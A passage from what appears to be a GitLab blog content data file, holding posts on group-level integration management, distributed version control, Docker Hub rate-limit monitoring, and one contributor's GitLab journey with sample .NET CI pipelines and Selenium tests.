the project level. This meant that if you had 400 projects, you'd have to configure that integration 400 times!\n\n**In GitLab 13.3, we added the ability to add an integration across an entire GitLab instance, for all projects. In GitLab 13.6 (coming Nov. 22, 2020), we’re expanding this ability to work at the group level as well.**\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/6mz1y15JEHE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Integration management for large organizations integrating third-party applications with their GitLab projects!\n\nA group _with any number of projects in it_ can integrate them all at once, from a single place. Group owners and instance administrators rejoice! This will save you hours and hours of work managing all of those connections and keeping them up to date.\n\nThere are also security benefits to this approach: instance administrators and group owners can roll out an integration without having to share the credentials with each project owner directly. This is a great security enhancement because many organizations had to restrict configuration to a small group of people, requiring them to do a ton of busywork just to maintain this posture.\n\nGroup-level Integration Management is available **today, for free**, on both [GitLab.com](https://gitlab.com) and in self-managed GitLab installations running 13.6 and up.\n\nFor more information, check out the documentation for [Project Integration Management](https://docs.gitlab.com/ee/administration/settings/project_integration_management.html).\n\n## So what’s next for Project Integration Management?\n\nWe’re also looking to expand this feature with more bells and whistles to make the lives of our instance administrators and group owners easier. Some things that we're considering for the future are:\n\n- [**Inheritance overviews**](https://gitlab.com/gitlab-org/gitlab/-/issues/14157), which will show what projects are overriding the inherited settings\n- **Per-field inheritance** that overrides only a single field while leaving the rest of the settings managed by the parent\n- **Field masking**, which allows the group or instance owner to obfuscate specific fields that are inheritable, while still allowing the integration to work\n- **Inheritance locking**, giving group or instance owners the ability to enforce those settings on every project under them\n- **Service Template migrations**, giving users of Service Templates an easy way to migrate to this new feature and roll the change out to every project where it’s applicable\n\nIf you have any feedback, ideas for future features, input, or requirements for items on the roadmap, or anything else – please leave comments [in the parent epic for this feature](https://gitlab.com/groups/gitlab-org/-/epics/2137).\n\n### Upcoming Service Template deprecation\n\nFormerly, [Service Templates](https://docs.gitlab.com/ee/user/admin_area/settings/project_integration_management.html) filled this particular need in GitLab, with many limitations. These templates were applied only to new projects, and if you updated a value on the template, it didn’t retroactively apply to each project that already used those settings.\n\nThis solves half the problem by allowing the _initial settings of an integration_ to be defined for many projects in one place, but failed to help with actually managing those integrations later. Because the ongoing management is just as important as the setup, we saw some organizations writing custom scripts to continuously validate that those settings hadn’t changed, and automations to roll out changes to many projects at once. These examples are glue code that they should never have needed to write in the first place, let alone make them maintain over time. Our hope is that this new feature suits those use cases perfectly, and that migrating from Service Templates to integrations managed at the group level dramatically reduces their maintenance overhead.\n\nWe are currently planning on [deprecating Service Templates](https://gitlab.com/gitlab-org/gitlab/-/issues/268032) during our normal deprecation cycle (only in major releases), in GitLab 14.0.\n\n#### More GitLab integrations\n\n- [Get the most out of the Checkmarx integration with GitLab](/blog/checkmarx-integration/)\n- [Is DevOps for designers?](/blog/is-devops-for-designers/)\n- [Demo: GitLab + Jira + Jenkins](/blog/gitlab-workflow-with-jira-jenkins/)\n\nCover image by [Ryan Quintal](https://unsplash.com/photos/US9Tc9pKNBU) on [Unsplash](https://unsplash.com)\n{: .note}\n",[754,232,736],{"slug":20751,"featured":6,"template":678},"integration-management","content:en-us:blog:integration-management.yml","Integration Management","en-us/blog/integration-management.yml","en-us/blog/integration-management",{"_path":20757,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20758,"content":20764,"config":20770,"_id":20772,"_type":16,"title":20773,"_source":17,"_file":20774,"_stem":20775,"_extension":20},"/en-us/blog/move-to-distributed-vcs",{"title":20759,"description":20760,"ogTitle":20759,"ogDescription":20760,"noIndex":6,"ogImage":20761,"ogUrl":20762,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20762,"schema":20763},"Why you should switch to distributed version control","We share a few reasons why high-performing software development teams use distributed version control systems over centralized version control.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681766/Blog/Hero%20Images/distributedvcs.jpg","https://about.gitlab.com/blog/move-to-distributed-vcs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why you should move from centralized version control to distributed version control\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2020-11-19\",\n      }",{"title":20765,"description":20760,"authors":20766,"heroImage":20761,"date":20729,"body":20768,"category":8943,"tags":20769},"Why you should move from centralized version control to distributed version control",[20767],"Suri Patel","\n\nDistributed version control has the power to increase collaboration and streamline development, but many teams are still using a centralized [version control system](/topics/version-control/) that prevents them from reaching their full development potential. If your team uses a centralized version control system, velocity, code quality, and collaboration aren’t at the same levels of high-performing teams that consistently deliver valuable products at rapid speeds. Using a [version control](/topics/version-control/) system isn’t enough to stay competitive in today’s market - you have to use the best tools available.\n\n## What is version control?\n\nVersion control lets software development teams build up communication and collaboration while continuously making and tracking changes to source code. Sometimes called code revision control, version control exists as a safety net to protect the source code while giving the development team the flexibility to experiment without worrying about causing damage or creating code conflicts. A version control system can be local, centralized, or distributed based on organizational needs.\n\n## Centralized version control: A relic from the past\n\nA centralized version control system relies on a central server where developers commit changes. Users like centralized systems, because they’re simple to set up and provide admins with workflow controls. Centralized vcs, like Subversion, CVS, and Perforce, solve the age-old problem of manually storing multiple copies on a hard drive, but the few benefits don’t outweigh what’s at risk from relying on a [single server](https://git-scm.com/book/en/v2/Getting-Started-About-Version-Control).\n\nIf the only copy of a project becomes corrupted or goes down, developers are unable to access the code or retrieve previous versions. Also, remote commits are extremely slow, because users must commit through a network to the central repository, which can slow down systems. Users must also be in network to push changes, limiting where and when developers can commit. Merging and branching are also difficult and confusing, since contributors have to track merges and branch as a single check-in.\n\n## Distributed version control: The key to rapid software development\n\nUnlike a centralized version control system, a distributed version control doesn’t have a single point of failure, because developers clone repositories on their distributed version control workstations, creating multiple backup copies. If the [source code](/solutions/source-code-management/) is corrupted, teams can use any developer’s clone as a backup, increasing security since there’s little risk of losing a project’s entire history. \n\nAlso, because there are local copies, developers can commit offline, which offers flexibility in their personal workflow and prevents having to commit as a giant changeset. Distributed version control, such as Git, Bazaar, and Mercurial, offers fast [branching](/topics/version-control/what-is-git-workflow/), because there’s no communication with a remote server - everything is done on a local drive.\n\nAre you ready for a quick look at Git, the most popular distributed version control system? [Brendan O’Leary](/company/team/#brendan), senior developer evangelist, explains Git basics to help teams get started in the video below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/9oDNBuive-g\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThe biggest challenge to switching to a distributed version control system is the learning curve. Teams will be able to ship higher quality code at new speeds using a distributed version control.\n\n## Core benefits of a distributed version control system\n\nA [distributed version control system](/topics/version-control/benefits-distributed-version-control-system/) is like each team member having a second set of hands to catch problems, introduce fast fixes, and execute fast merging with fewer conflicts. Additionally, it makes the collaboration process hyper-efficient, thereby letting DevOps teams work asynchronously. Version control empowers teams to collaborate and streamline software development to resolve pain points and create a centralized location for code.\n\n## Popular distributed version control systems (e.g. Git)\n\nThe three most well-known options are Git, SVN, and Mercurial. The most popular of these options is Git, which is an open-source distributed system that is used for any size software project. \n\nGit offers tons of features and benefits, including:\n\n* Strong support for non-linear development.\n\n* Works with popular protocols/systems including HTTP, FTP, and SSH.\n\n* Offers GIT GUI, which allows for fast re-scan, state change, sign off, commit & push the code quickly with low friction.\n\n* It can handle any size project.\n\n* Can function across platforms.\n\n* Toolkit-based design.\n\n* Rapid and efficient performance.\n\n* Code changes are easily tracked and managed.\n\nWhen choosing a version control system, make sure to evaluate all options to find the best fit for your team.\n\nCover image by [Hans-Peter Gauster](https://unsplash.com/@sloppyperfectionist?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/3y1zF4hIPCg)\n{: .note}\n",[1067,1444,2368],{"slug":20771,"featured":6,"template":678},"move-to-distributed-vcs","content:en-us:blog:move-to-distributed-vcs.yml","Move To Distributed Vcs","en-us/blog/move-to-distributed-vcs.yml","en-us/blog/move-to-distributed-vcs",{"_path":20777,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20778,"content":20784,"config":20789,"_id":20791,"_type":16,"title":20792,"_source":17,"_file":20793,"_stem":20794,"_extension":20},"/en-us/blog/docker-hub-rate-limit-monitoring",{"title":20779,"description":20780,"ogTitle":20779,"ogDescription":20780,"noIndex":6,"ogImage":20781,"ogUrl":20782,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20782,"schema":20783},"How to make Docker Hub rate limit monitoring a breeze","Docker Hub Rate Limits are enforced and we need to find ways to monitor the remaining pull requests. Explore some ways to create a monitoring plugin for Nagios/Icinga/Sensu/Zabbix and test-drive a new Prometheus exporter in combination with Grafana.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681749/Blog/Hero%20Images/vidarnm-unsplash.jpg","https://about.gitlab.com/blog/docker-hub-rate-limit-monitoring","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to make Docker Hub rate limit monitoring a breeze\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2020-11-18\",\n      }",{"title":20779,"description":20780,"authors":20785,"heroImage":20781,"date":20786,"body":20787,"category":734,"tags":20788},[4808],"2020-11-18","\n\nWhen we learned about the [Docker Hub Rate Limit](/blog/mitigating-the-impact-of-docker-hub-pull-requests-limits/), we thought about ways to mitigate and analyse the new situation. Container images are widely used and adopted for sandbox environments in [CI/CD pipelines](/solutions/continuous-integration/) and cloud-native production environments with app deployment in [Kubernetes clusters](/solutions/kubernetes/).\n\n## What is meant by Docker Hub limits?\n\nEach `docker pull` request toward the central `hub.docker.com` container registry is being counted. When a defined limit is reached, future requests are blocked and might be delayed into the next free window. [CI/CD](/topics/ci-cd/) jobs cannot be executed anymore after receiving a HTTP error `429 - too many requests` and similar errors will be seen in production deployment logs for Kubernetes.\n\nDocker defines this limit with 100 anonymous requests every six hours for the client's source IP address. If you have multiple container deployments behind an IP address, for example a company DMZ using a NAT, this limit can be reached very fast. A similar problem happens with watchtower tools which try to keep your container images updated, for example on your self-managed GitLab Runner. The limit can be raised by logging in, and by getting a paid subscription.\n\nThe question is: Where can you see the current limit and the remaining pull requests?\n\n### How to check the Docker Hub request limit?\n\nThe [Docker documentation](https://docs.docker.com/docker-hub/download-rate-limit/#how-can-i-check-my-current-rate) suggests to use CLI commands which invoke `curl` HTTP requests against the Docker Hub registry and parse the JSON response with [jq](https://stedolan.github.io/jq/).\n\nDefine the `IMAGE` variable once for the following CLI commands to use:\n\n```shell\n$ IMAGE=\"ratelimitpreview/test\"\n```\n\nObtain a token for authorization. Optionally print the variable value to verify its content.\n\n```shell\n$ TOKEN=$(curl \"https://auth.docker.io/token?service=registry.docker.io&scope=repository:$IMAGE:pull\" | jq -r .token)\n\n$ echo $TOKEN\n```\n\nThe next step is to simulate a `docker pull` request. Instead of using `GET` as HTTP request method, a `HEAD` request is sent which does not count toward the rate limit. The response headers contain the keys `RateLimit-Limit` and `RateLimit-Remaining`.\n\n```shell\n$ curl --head -H \"Authorization: Bearer $TOKEN\" https://registry-1.docker.io/v2/$IMAGE/manifests/latest\n```\n\nThe limit in the example is `2500` with remaining `2495` pull requests. `21600` defines the limit time window as six hours.\n\n```\nRateLimit-Limit: 2500;w=21600\nRateLimit-Remaining: 2495;w=21600\n```\n\n`RateLimit-Reset` can be returned too, this will be the remaining time until the limits are reset.\n\n### Create a monitoring script\n\nThe CLI commands can be turned into a programming language of your choice which provides methods for HTTP requests and better response parsing. The algorithm needs to follow these steps:\n\n* Obtain an authorization token from Docker Hub. Username/password credentials can be optionally provided, otherwise the request happens anonymously.\n* Send a `HEAD` request to the Docker Hub registry and simulate a `docker pull` request\n* Parse the response headers and extract the values for `RateLimit-Limit` and `RateLimit-Remaining`\n* Print a summary of the received values\n\nA plugin script which can be used by Nagios/Icinga/Sensu/Zabbix and others has additional requirements. It needs to implement the [Monitoring Plugins API specification](https://www.monitoring-plugins.org/doc/guidelines.html):\n\n* Print the limit and remaining count\n* Calculate a state: Ok, Warning, Critical, Unknown and print a helpful text on the shell\n* Add optional warning/critical thresholds for the remaining count. Whenever the count is lower than the threshold, the state changes to Warning/Critical and the exit code changes: `OK=0, Warning=1, Critical=2, Unknown=3`\n* Collect limit values as performance metrics for graphing and visualization\n* Add verbose mode and timeout parameters as plugin development best practices. If Docker Hub does not respond within 10 seconds as default, the plugin exits and returns `Unknown` as state.\n\nYou can download the [check_docker_hub_limit.py plugin script](https://gitlab.com/gitlab-com/marketing/corporate_marketing/developer-evangelism/code/check-docker-hub-limit) and integrate it into your monitoring environment.\n\n#### Use the monitoring plugin script\n\nThe [check_docker_hub_limit.py plugin script](https://gitlab.com/gitlab-com/marketing/corporate_marketing/developer-evangelism/code/check-docker-hub-limit) plugin is written in Python 3 and requires the `requests` library. Follow the [installation instructions](https://gitlab.com/gitlab-com/marketing/corporate_marketing/developer-evangelism/code/check-docker-hub-limit#installation) and run the plugin script with the `--help` parameter to see all available options:\n\n```\n$ python check_docker_hub_limit.py --help\n\nusage: check_docker_hub_limit.py [-h] [-w WARNING] [-c CRITICAL] [-v] [-t TIMEOUT]\n\nVersion: 2.0.0\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -w WARNING, --warning WARNING\n                        warning threshold for remaining\n  -c CRITICAL, --critical CRITICAL\n                        critical threshold for remaining\n  -v, --verbose         increase output verbosity\n  -t TIMEOUT, --timeout TIMEOUT\n                        Timeout in seconds (default 10s)\n```\n\nRun the script to fetch the current remaining count. The plugin script exit code returns `0` being OK.\n\n```\n$ python3 check_docker_hub_limit.py\nOK - Docker Hub: Limit is 5000 remaining 4997|'limit'=5000 'remaining'=4997\n\n$ echo $?\n0\n```\n\nSpecify the warning threshold with `10000` pulls, and the critical threshold with `3000`.\nThe example shows how the state changes to `WARNING` with a current count of `4999` remaining\npull requests. The plugin script exit code changes to `1`.\n\n```\n$ python3 check_docker_hub_limit.py -w 10000 -c 3000\nWARNING - Docker Hub: Limit is 5000 remaining 4999|'limit'=5000 'remaining'=4999\n\n$ echo $?\n1\n```\n\nSpecify a higher critical threshold with `5000`. When the remaining count goes below this value,\nthe plugin script returns `CRITICAL` and changes the exit state into `2`.\n\n```\n$ python3 check_docker_hub_limit.py -w 10000 -c 5000\nCRITICAL - Docker Hub: Limit is 5000 remaining 4998|'limit'=5000 'remaining'=4998\n\n$ echo $?\n2\n```\n\nWhen a timeout is reached, or another error is thrown, the exit state switches to `3` and the output state becomes `UNKNOWN`.\n\n### Use a Prometheus exporter for rate limit metrics\n\n[Prometheus](https://prometheus.io/) scrapes metrics from HTTP endpoints. There is a variety of exporters for Prometheus to monitor host systems, HTTP endpoints, containers, databases, etc. Prometheus provides [client libraries](https://prometheus.io/docs/instrumenting/clientlibs/) to make it easier to start writing your own custom exporter. The metrics need to be exported in a [defined format](https://prometheus.io/docs/instrumenting/exposition_formats/).\n\nThe Docker Hub limit values can be fetched with obtaining an authorization token first, and then sending a `HEAD` request shown above. The code algorithm follows the ideas of the monitoring plugin. Instead of printing the values onto the shell, the metric values are exposed with an HTTP server. The Prometheus client libraries provide this functionality built-in.\n\nWe have created a [Prometheus Exporter for Docker Hub Rate Limits](https://gitlab.com/gitlab-com/marketing/corporate_marketing/developer-evangelism/code/docker-hub-limit-exporter) using the [Python client library](https://github.com/prometheus/client_python). The repository provides a demo environment with `docker-compose` which starts the exporter, Prometheus and Grafana.\n\nEnsure that [docker-compose is installed](https://docs.docker.com/compose/install/) and clone/download the repository. Then run the following commands:\n\n```\n$ cd example/docker-compose\n\n$ docker-compose up -d\n```\n\nNavigate to `http://localhost:3030` to access Grafana and explore the demo environment with the pre-built dashboard.\n\n![Grafana dashboard for Docker Hub Limit Prometheus Exporter](https://about.gitlab.com/images/blogimages/docker-hub-limit-monitoring/grafana_prometheus_docker_hub_limit_exporter_demo.png){: .shadow.medium.center}\n\nGrafana dashboard for Docker Hub Limits\n{: .note.text-center}\n\n### More monitoring/observability ideas\n\nUse the steps explained in this blog post to add Docker Hub limit monitoring. Evaluate the Prometheus exporter or the check plugin, or create your own monitoring scripts. Fork the repositories and send a MR our way!\n\n* [check-docker-hub-limit for Nagios/Icinga/Zabbix/Sensu](https://gitlab.com/gitlab-com/marketing/corporate_marketing/developer-evangelism/code/check-docker-hub-limit)\n* [docker-hub-limit-exporter for Prometheus](https://gitlab.com/gitlab-com/marketing/corporate_marketing/developer-evangelism/code/docker-hub-limit-exporter)\n\nThe Prometheus exporter and the monitoring plugin script can help to see trends and calculate usage over time. Use your own local (GitLab) container registry or one of the available caching methods described in these blog posts:\n\n* [Cache Docker images in your CI/CD infrastructure](/blog/mitigating-the-impact-of-docker-hub-pull-requests-limits/). Use this resource for possible solutions around caching and proxying.\n* [Use the Dependency Proxy](/blog/minor-breaking-change-dependency-proxy/). Learn more about the GitLab Dependency Proxy being made open source in the future.\n* [#everyonecancontribute cafe: Docker Hub Rate Limit: Mitigation, Caching and Monitoring](https://everyonecancontribute.com/post/2020-11-04-cafe-7-docker-hub-rate-limit-monitoring/). This is a community meetup hosted by Developer Evangelists at GitLab. The blog post includes a video with more insights and discussion.\n\nPhoto by [Vidar Nordli-Mathisen](https://unsplash.com/@vidarnm) from [Unsplash](https://www.unsplash.com).\n{: .note}\n",[3949,4103,2509,815,6962],{"slug":20790,"featured":6,"template":678},"docker-hub-rate-limit-monitoring","content:en-us:blog:docker-hub-rate-limit-monitoring.yml","Docker Hub Rate Limit Monitoring","en-us/blog/docker-hub-rate-limit-monitoring.yml","en-us/blog/docker-hub-rate-limit-monitoring",{"_path":20796,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20797,"content":20803,"config":20808,"_id":20810,"_type":16,"title":20811,"_source":17,"_file":20812,"_stem":20813,"_extension":20},"/en-us/blog/lee-tickett-my-gitlab-journey",{"title":20798,"description":20799,"ogTitle":20798,"ogDescription":20799,"noIndex":6,"ogImage":20800,"ogUrl":20801,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20801,"schema":20802},"From user, to advocate, to contributor: my GitLab journey","Three years (as a user and as a contributor) with GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681735/Blog/Hero%20Images/cover_photo.jpg","https://about.gitlab.com/blog/lee-tickett-my-gitlab-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"From user, to advocate, to contributor: my GitLab journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lee Tickett\"}],\n        \"datePublished\": \"2020-11-13\",\n      }",{"title":20798,"description":20799,"authors":20804,"heroImage":20800,"date":20805,"body":20806,"category":18484,"tags":20807},[810],"2020-11-13","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nI have had a passion for technology since before I can remember. Thirteen years ago I took the plunge, quit my day job, and started an IT development and support company called [Tickett Enterprises Limited](https://www.tickett.net). For the last three years, GitLab has been a part of my journey.\n\n## 3 Years Ago \nWe were (and still are) using a helpdesk system we built ourselves. It does exactly what we need it to do - and any time it doesn’t, we change it. The most important feature of the system is reporting. Specifically, facilitating our monthly billing process; with a click of a button, we generate timesheets and invoices for all of our clients.\n\nThough I was aware of Git (and GitHub), I had not heard of GitLab. We were using SVN in its most basic form (single repository for all projects and no branching), with an integration so all commits would create notes in our helpdesk.\n\n## 2.5 Years Ago\nWe decided that SVN was no longer fit for purpose. Our top issues were: \n* never knowing whether the code in our repository matched what was deployed\n* not being able to work collaboratively on projects\n* feature/knowledge limitations\n* Git was the industry standard \n\nWhile most of these issues were due to the way we were using SVN, we were keen to adopt a more popular system. I don’t remember how I found GitLab, but I did, and spun up a local on-prem instance of Community Edition (CE) using separate projects/repositories and basic branching. If you are considering running a local instance, I recommend the [Bitnami appliance/.ova](https://bitnami.com/stack/gitlab).\n\nIt took some time to get used to local vs remote and to remember to push as well as commit, but we picked it up pretty quickly.\n\n## 2 Years Ago\nWe wanted to use GitLab to help us improve our processes so we:\n* built a little UI for project creation (using the GitLab API). This ensures new projects fit our naming standards, contain our standard template files, have our standard master/test/dev branches, contain the relevant members, and use our webhooks\n* recreated the helpdesk integration we had with SVN (every commit and comment is replicated as a note on our helpdesk)\n* unaware of GitLab EE, we created a custom merge request approval process using webhooks. Our master branch is always protected - a merge request requires 2 approvals from 2 distinct reviewers (one for code and one for functionality)\n\n## 1.5 Years Ago\nA bit late to the party, but finally we set up the GitLab runner to automate our build, spin up our database, execute our unit tests and report test details and code coverage. GitLab CI for .NET was not as well documented as other use cases leading to a lot of trial and error when setting up the runner.\n\nWe are using the Windows runner configured to use a standard shell (which I think is no longer supported). We will either be moving to powershell on windows or possibly using docker images. Here’s a sample .gitlab-ci.yml\n\n```yml\nstages:\n  - build\n  - test\n\nvariables:\n  CI_DEBUG_TRACE: \"false\"\n  ASSEMBLY_VERSION: \"1.0.4\"\n  \nbuild:\n stage: build\n script:\n  - 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nuget restore'\n  - '\"C:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\BuildTools\\MSBuild\\15.0\\bin\\msbuild\" /t:Restore,Clean,ReBuild /t:Database:Publish /p:Configuration=Debug;Platform=\"Any CPU\" /p:SqlPublishProfilePath=Database.publish.xml'\n  - 'ping 192.168.99.99 -n 1 -w 10000 2>nul || type nul>nul'\n artifacts:\n  paths:\n   - Tests/bin/\n\ntest:\n stage: test\n script:\n  - 'c:\\GitLab-Runner\\opencover\\OpenCover.Console.exe -returntargetcode:1000 -filter:\"+[*]* -[nunit*]* -[*Tests*]*\" -register -target:\"C:\\Program Files (x86)\\NUnit.org\\nunit-console\\nunit3-console.exe\" -targetargs:\"Tests\\Tests.csproj --result=testresult.xml;transform=C:\\gitlab-runner\\nunit3-junit.xslt\"'\n coverage: '/^Visited Branches .*(\\(\\d+\\.?\\d*\\))/'\n dependencies:\n  - build\n artifacts:\n  reports:\n   junit: testresult.xml\n```\n\nWe were building another customization to allow us to search for code across all repositories. Unfortunately, we hit a limitation because the API did not allow searching anything but the default branch.\n\nAt this point, while Googling for help getting CI up and running, I learned that GitLab is open-source. So I thought maybe I could extend the API to support searching any branch. This lead to [my first contribution](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28069).\n\n## 1 Year Ago\nAt this point, I was completely new to all of the technologies, techniques, and best practices used by GitLab but found myself participating in my first [GitLab hackathon](https://about.gitlab.com/community/hackathon/). Somehow, I managed to take joint first prize!\n\nMy first few contributions were achieved by modifying my production GitLab installation (not ideal). So it was time to get the [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit) up and running. This was certainly not without its challenges (many of which I suspect stem from me being in the minority of GitLab contributors running Windows).\n\nI have since contributed to the [GDK project](https://gitlab.com/gitlab-org/gitlab-development-kit) and joined the GDK office hour calls to help shape the way forward and resolve some of the problems and frustrations.\n\nAt this point, I was leearning a lot. Not just about the tools and languages but about the best practices and work ethos within the GitLab team. Better yet, I was able to start taking some of these learnings back to the office.\n\n## 0.5 Years Ago\nI attended GitLab Commit - London 2019. This really helped to confirm my suspicions; we are only scraping the surface of GitLab's capabilities.\n\nOn a few occasions, I wondered whether GitLab may not be a good fit for my company as I watched huge companies like Porsche and Goldman Sachs present. A [presentation](https://www.youtube.com/watch?v=t0Eh1sq9r5s) by Huss El-Sheikh from startup 9fin helped ease my concerns.\n\nAround this time, I moved from Windows to Ubuntu to make it easier to work with GDK.\n\nI continued to learn a lot from my contributions, feedback, and interactions with the GitLab team, again applying what I could back in the office. Much around the languages/technologies I hadn’t previously worked with (namely ruby, postgres and vue), but also other takeaways such as:\n* when carrying out code reviews ask questions rather than give instructions (“what do you think about x?” is more productive than “change this to y”)\n* GitLab CI is capable of automating a lot of what we currently do by hand (e.g. code review for best practices)\n* always try to add tests when making code changes\n\nI am a firm believer of documenting processes, decisions, and rationale. There’s nothing worse than someone saying “we do it this way” without being able to back that up with reasoning. With that in mind, we implemented Merge Request Templates to ensure our team was consistent in our approach to coding, testing, and releasing.\n\nBy now our development team had plenty of experience with GitLab and we were starting to move our support team over. To help our team leads monitor merge requests, we adopted 2 simple departmental labels (`Support`/`Development`) and used our webhook engine to ensure every MR is automatically labelled.\n\n## Today / What’s Next\nIn preparation for a transition to .NET core, deprecation of the Windows shell runner and a desire to start testing our frontend (web), I started putting a CI script together using docker and the mcr.microsoft.com/dotnet/core/sdk:latest image. The .gitlab-ci.yml looks like;\n\n```yml\nstages:  \n  - build\n  - test\n\nvariables:\n  CI_DEBUG_TRACE: \"false\"\n  ASSEMBLY_VERSION: \"1.0.1\"\n\nbuild:\n stage: build\n tags:\n  - docker\n script:\n  - 'dotnet build'\n\ntest:\n stage: test\n tags:\n  - docker\n script:\n  - 'nohup dotnet run --project Web &'\n  - 'apt-get update'\n  - 'apt-get install -y unzip'\n  - 'wget https://chromedriver.storage.googleapis.com/83.0.4103.14/chromedriver_linux64.zip'\n  - 'unzip chromedriver_linux64.zip -d ~/'\n  - 'rm chromedriver_linux64.zip'\n  - 'mv -f ~/chromedriver /usr/local/bin/chromedriver'\n  - 'chown root:root /usr/local/bin/chromedriver'\n  - 'chmod 0755 /usr/local/bin/chromedriver'\n  - 'wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -'\n  - 'sh -c ''echo \"deb https://dl.google.com/linux/chrome/deb/ stable main\" >> /etc/apt/sources.list.d/google.list'''\n  - 'apt-get update'\n  - 'apt-get install -y google-chrome-stable'\n  - 'dotnet test -l:trx Tests/Tests.csproj /p:CollectCoverage=true'\n coverage: '/Total\\s*\\|.*\\|\\s(\\d+\\.?\\d*)%\\s*\\|.*\\|/'\n```\n\nAnd the tests look something like;\n\n```c#\n    public class UiTests : IDisposable\n    {\n        private readonly Process _webServerProcess;\n        private readonly IWebDriver _driver;\n\n        [Fact]\n        public void ClickNavPrivacyPolicy()\n        {\n            _driver.Navigate()\n                .GoToUrl(\"http://localhost:5000/\");\n\n            var link = _driver.FindElement(By.LinkText(\"Privacy\"));\n            link.Click();\n\n            Assert.Equal(\"http://localhost:5000/Home/Privacy\", _driver.Url);\n        }\n\n        public UiTests()\n        {\n            ChromeOptions chromeOptions = new ChromeOptions();\n            chromeOptions.AddArguments(\"headless\", \"no-sandbox\");\n            _driver = new ChromeDriver(chromeOptions);\n\n            if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux)) return;\n\n            _webServerProcess = new Process\n            {\n                StartInfo = {\n                    WorkingDirectory = Path.Combine(System.AppDomain.CurrentDomain.BaseDirectory, \"..\", \"..\", \"..\", \"..\", \"Web\"),\n                    FileName = $\"dotnet.exe\",\n                    Arguments = \" run\",\n                    UseShellExecute = true,\n                }\n            };\n            _webServerProcess.Start();\n        }\n\n        private void KillWebServer()\n        {\n            if (_webServerProcess != null && !_webServerProcess.HasExited)\n            {\n                _webServerProcess.Kill();\n            }\n        }\n\n        public void Dispose()\n        {\n            _driver.Dispose();\n            KillWebServer();\n        }\n    }\n```\n\nYou can see some conditional code in there which allows Selenium tests to work both locally on our development machines and remotely on our GitLab runner. If you have a better way of achieving this, please leave a comment. I would love to chat and learn!\n\nI also want to start introducing some linting like we see in the GitLab project to enforce rules around code formatting (spaces, carriage returns, indentation, etc.). I have started to look at JetBrains Resharper (R#) command-line but haven’t had enough time to implement it yet. Ideally. I would like to start with just a rule or two and then slowly introduce more, but it looks quite tricky to take this approach. Please let me know if you’ve been able to achieve this!\n\nI would also like to lose our helpdesk and start using GitLab issues, service desk, timelogs, etc. I am working on identifying the gaps and working with the product managers to understand whether it is realistic to fill those gaps within the GitLab product. Alternatively, I will be looking to build some additional “bolt-ons” using webhooks and the API.\n\nWhile investigating gaps, I stumbled upon the [GitLab-Triage project](https://gitlab.com/gitlab-org/gitlab-triage) and I expect we'll use this to automate various workflows. I managed to help close a few issues and even create a few additional features which would make it work for us by [contributing to the GitLab-Triage project](https://gitlab.com/gitlab-org/gitlab-triage/-/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&author_username=leetickett).\n\nWe also added more labels (`needs code review` & `needs functional review`) for our merge request approval process now. We can see where we are and what needs to be done at a glance. We previously relied on an MR checklist that we are deprecating.\n\n![Merge request checklist](https://about.gitlab.com/images/blogimages/lee-tickett-my-gitlab-journey/mr_checklist.png)\n\n![Merge requests with labels](https://about.gitlab.com/images/blogimages/lee-tickett-my-gitlab-journey/merge_requests_with_labels.png)\n\n## Contributing to GitLab \n\nI am very proud to have joined the GitLab Core Team. Thanks to everyone who has held my hand and patiently assisted me with contributions. \n\nWith the release of Microsoft Windows Subsystem for Linux v2, I have gone back to running Windows on my laptop with GDK running in Ubuntu on WSL2. This is working brilliantly for me at the moment (the way Visual Studio Code handles things especially is really cool).\n\nI now have 95 [merged merge requests!](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&author_username=leetickett) and have been helping several others get started contributing (getting GDK up and running etc). Once this crazy pandemic is over and we can start to socialise again, I would like to try and start some sort of local meetup/group.\n\nI would like to help make it easier to connect GitLab users. I have visions of a mechanism to search for others based:\n* the size of their user base \n* the languages they are using\n* the feature they are using\n\nAt present, we have several tools (Gitter, Issues, Forum etc) but there is a strong reliance on being engaged and stumbling on questions/support requests. I suspect many of us would be happy to have other users reach out directly.\n\nIf you need any more information around:\n* getting your development environment/tools setup on Windows 10\n* getting CI working with .NET and SQL Server projects\n* building customisations using GitLab webhooks and API\n\n...or would like to see a demo of anything discussed above, I would be happy to oblige!\n\nI would love to connect with others who are either looking to, or already using GitLab for:\n* .NET projects\n* customer helpdesk \n* customer billing (using timelogs)\n\nThanks for reading! 